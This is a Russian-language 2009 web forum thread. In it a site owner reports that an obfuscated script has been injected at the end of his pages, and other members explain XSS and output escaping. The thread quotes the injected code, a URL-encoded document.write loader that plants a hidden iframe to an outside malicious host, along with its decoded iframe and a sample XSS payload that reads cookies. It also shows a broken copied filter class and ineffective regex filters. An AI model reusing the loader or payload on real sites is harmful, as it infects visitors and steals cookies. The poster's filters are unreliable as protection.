[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Что это за явление???
freed-master
Возможно не в тему, я не знаю к чему это отнести, но очень срочно:

Сайт на реальном хостинге уже давно работал. Потом зарегистрировал его в поисковиках. Через какоето время в конце каждой страницы появилися надписи типа:
Код
<?php echo '<script Language='Javascript'>

<!--

document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%34%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));

//-->

</Script>'; ?>

И страницы перестали открываться. Причем надписи появились даже на тех страницах которые я указал НЕ индексировать, в роботс.тхт прописал:
Код
User-agent: *
Disallow: /admin/
Disallow: /images/
Disallow: /scripts/
Disallow: /tiny_mce/


Что бы это все значило???



Спустя 30 минут, 24 секунды (7.06.2009 - 10:21) Alehandr написал(а):
Ломанули тебя, и поставили iframe.
HTML
<IFRAME style="WIDTH: 0%; HEIGHT: 0px" src="http://myfucking-pussy.com/tyrek/?t=4" frameBorder=0 scrolling=no allowTransparency></IFRAME>

Вот такой вот...

Спустя 7 минут, 6 секунд (7.06.2009 - 10:28) freed-master написал(а):
А как этого избежать в дальнейшем?

Спустя 39 минут, 39 секунд (7.06.2009 - 11:08) glock18 написал(а):
xss уязвимости закрыть надо скорее всего. Это очень геморно, по-моему, если закрывать все что надо и ничего лишнего.

Суть в том, что на твоем сайте, вероятно, есть формы ввода. Через эти формы пользователь может вводить данные, которые после будут отображаться на странице. Так могли, к примеру, твой пароль получить вставив, через такую форму javascript.

Хотя, наверняка, есть какие-то более изощренные способы)) Я не знаю их.

Я если бы нашел у себя такую хрень попытался в первую очередь найти этот код в исходниках, базе данных, файлах откуда вывод может делаться. Удалил бы и в срочном порядке искать и закрывать уязвимости стал. Плюс пароль от админки стоит сменить сразу.

Спустя 5 минут, 6 секунд (7.06.2009 - 11:13) freed-master написал(а):
Да у меня на сайте есть форма, типа гостевой, но на ней капча стоит или это все до жо*ы

Спустя 8 минут, 4 секунды (7.06.2009 - 11:21) Kuliev написал(а):
Цитата (freed-master @ 7.06.2009 - 13:13)
Да у меня на сайте есть форма, типа гостевой, но на ней капча стоит или это все до жо*ы

Каптча 100% гарантии не ДАЕТ.

Спустя 2 минуты, 40 секунд (7.06.2009 - 11:24) freed-master написал(а):
Может есть какие то скрипты по защите что б хотя бы снизить уровень риска взлома?

Спустя 3 минуты, 40 секунд (7.06.2009 - 11:27) Kuliev написал(а):
freed-master
Почитай здесь

Спустя 15 минут, 47 секунд (7.06.2009 - 11:43) Alchemist написал(а):
первое что я бы сделал - это обновил антивир и тщательно проверил свой комп. Потом поменял пароль на ФТП и уже после этого занимался сайтом.

Спустя 1 час, 30 минут, 23 секунды (7.06.2009 - 13:13) freed-master написал(а):
Нашел вот один сайтикпро защиту. В указанной статье приведен класс. Пытаюсь его применить, пишет:
Цитата
syntax error, unexpected T_STRING, expecting T_VARIABLE in Z:\home\localhost\www\scripts\protection.php on line 5
Код класса:
Свернутый текст

PHP
<?php
final class protection {
static public 
$_get;
static public 
$_post;
[
b]static public post_decode(){[/b]
foreach(
$_POST as $key=>$value){
$key=htmlspecialchars($key);
if(
is_array($value)){
$value=$value
foreach(
$value as $sub_key=>$sub_value){
$sub_key=htmlspecialchars($sub_key);
if(
is_string($sub_value)){  
$sub_value=htmlspecialchars($sub_value);
}elseif(
is_int($sub_value)){
$sub_value=(int)$sub_value
}
self::$_post[$key][$sub_key]=$sub_value

}elseif(
is_string($value)){ 
$value=htmlspecialchars($value); 
self::$_post[$key]=$value;
}elseif(
is_int($value)){ 
$value=(int)$value;
self::$_post[$key]=$value;
}
}
$_POST=array();
}
static public 
get_decode(){
foreach(
$_GET as $key=>$value){
$key=htmlspecialchars($key);
if(
is_string($value)){
$value=htmlspecialchars($value);
self::$_get[$key]=$value;
}elseif(
is_int($value)){
$value=(int)$value;
self::$_get[$key]=$value;
}
}
$_GET=array();
}  }


Спустя 6 часов, 8 минут, 22 секунды (7.06.2009 - 19:22) glock18 написал(а):
function не хватает.

Спустя 1 час, 28 минут, 28 секунд (7.06.2009 - 20:50) freed-master написал(а):
В смысле слова или самой функции?

Спустя 1 час, 36 минут, 19 секунд (7.06.2009 - 22:27) glock18 написал(а):
smile.gif Слова. Ты код хоть смотрел в том месте где тебе ошибку выдает? Или ты сразу сюда постишь ошибки?

Спустя 10 минут, 34 секунды (7.06.2009 - 22:37) freed-master написал(а):
Смотрел и пробовал исправлять...

Сделал проверку получаемых из формы данных:
Код
if (!eregi("^(<[{=}]>)$", $name)...
Ведь это снизит вероятность использования xss-атак?

Спустя 8 часов, 30 минут, 51 секунда (8.06.2009 - 07:08) glock18 написал(а):
Код
if (!eregi("^(<[{=}]>)$", $name)...


ваау... А можно вопрос: что именно ты этим рег. выражением пытаешься выцепить?

По тому, что ты показал и что я из этого понял, я могу только вывод сделать, что это ничуть не поможет.

Спустя 29 минут, 26 секунд (8.06.2009 - 07:37) freed-master написал(а):
Цитата
что именно ты этим рег. выражением пытаешься выцепить?
Ява скрипт... еще поставил ограничение на длину...

Спустя 49 минут, 27 секунд (8.06.2009 - 08:27) glock18 написал(а):
Ты его тестировал? Как по мне, так это абсолютно бесплодная попытка выцепить javascript.

1. Вся строка должна соответствовать шаблону (^ в начали и $ в конце). Конечно, возможно, ты так и задумал, но в случае, когда ты этим выражением обрабатываешь текст больше одного, шаблон не подойдет.

2. Этот шаблон выловит только такие "теги":
<{>, <=>, <}> - это весь список. Плюс этот тег должен занимать всю строку, которую парсишь.

Лично я не видел таких странных вставок javascript. При этом у тебя не закрыта "нормальная" вставка: при помощи <script>.

Спустя 54 минуты, 42 секунды (8.06.2009 - 09:22) freed-master написал(а):
А если так: if (!eregi("(<>{}=)",...

Спустя 57 минут, 55 секунд (8.06.2009 - 10:19) twin написал(а):
Да ёпрст. Ну как можно защититься от спида, не зная что это и как передается? Ты собираешься на бл к девушкам легкого поведения, надев респиратор, а нужно совсем другое резиновое изделие.
Вот что будет, если я захочу к примеру написать такой текст в твой блог или куда там:
Цитата
XSS атаки, это не просто внедрение в текст последвательности символом <script>текст скрипта</script>. Это гораздо более широкое понятие.
? Сможет это увидеть читатель? А вот я напишу такую фишку:
HTML
<img src="javascript:alert(document.cookie)" />
? Запусти для интереса, ничего страшного не случится. И где ты тут видишь слово <script>?
Прежде чем делать защиту, нужно изучить вопрос, а не тыкаться как слепой кутенок.
НЕ ИЗОБРЕТАЙ ВЕЛОСИПЕД.
Изучи принципы отображения информации и все встанет на свои места. Основной принцип:
Браузер исполняет то, что находится между спецсимволами <> и отображает все остальное. Это совсем не значит, что нужно бояться этих символов. Просто если их нужно отобразить, то есть для этого эквиваленты. А если нужно исполнить, то выдавать (а не принимать) нужно чистый текст.

Пусть в базе будет то, что написал юзер, никому это не повредит ровным счетом. А перед выдачей, вот тут:
PHP
echo $text;
и нужно все заменить. Делается это одним движением:
PHP
echo htmlspecialchars($text);

Всё, что получено от юзера, перед выдачей должно обрабатываться этой функцией. А вся собственная разметка не должна. Вот и всё.
Какие нафиг классы-шмассы, да еще и кривые такие? Где вы их берете только... Мне почему то такое не попадается...

Спустя 15 минут, 9 секунд (8.06.2009 - 10:35) glock18 написал(а):
Цитата
А если так: if (!eregi("(<>{}=)",...


Жээээсть... Поддерживаю twin на 10 в 6 степени процентов. Что за бред? Хоть бы xss изучил, а уж взялся использовать регулярные выражения, то их изучи сначала, а не плоди извращение за извращением.

Спустя 2 часа, 57 минут, 58 секунд (8.06.2009 - 13:33) freed-master написал(а):
Хорошо, я почитаю внимательнее про регулярные выражения.

Но зачем записывать гадость в базу если можно это предотвратить.

Спустя 3 часа, 20 минут, 51 секунда (8.06.2009 - 16:53) twin написал(а):
Вот самая распространенная ошибка. В базу пишется не всякая гадость, а текст. И если это сайт нормальный, профессиональный, а не ламерский, то человек на экране должен увидеть то, что написал. Как тут к примеру:
<script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script> <script>
А если он сделан такими параноиками, которые перед записью в базу начинают что то фильтровать и запрещать, то он и становится дырявым как решето и бестолковым по сути. Зачем затыкать каждую дырочку по отдельности, как тришкин кафтан, если это можно сделать одним махом.
Ну да сам поймешь, когда вырастешь. Как программист я имею ввиду.

Спустя 20 минут, 42 секунды (8.06.2009 - 17:14) Joker написал(а):
Цитата (Kuliev @ 7.06.2009 - 14:21)
Каптча 100% гарантии не ДАЕТ.


Да и вообще когда сайт ломают, чаще всего это делают люди а не комьпютеры.... а человек капчу ввести то сможет)

Спустя 9 минут, 8 секунд (8.06.2009 - 17:23) freed-master написал(а):
Данные переданые через форму записываются в бд но для общего просмотра доступны только после утверждения их администратором. А в админке полученое сообщение вставляется в tiny_mce через nl2br. Получается сломали через другую форму? Еще есть форма поиска... но ведь данные с неё никуда не записываются...


_____________
Всем, кто заинтересован, могу помочь начать зарабатывать на forex.
Пишите в личку или на e-mail: flash-dirt@yandex.ru
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.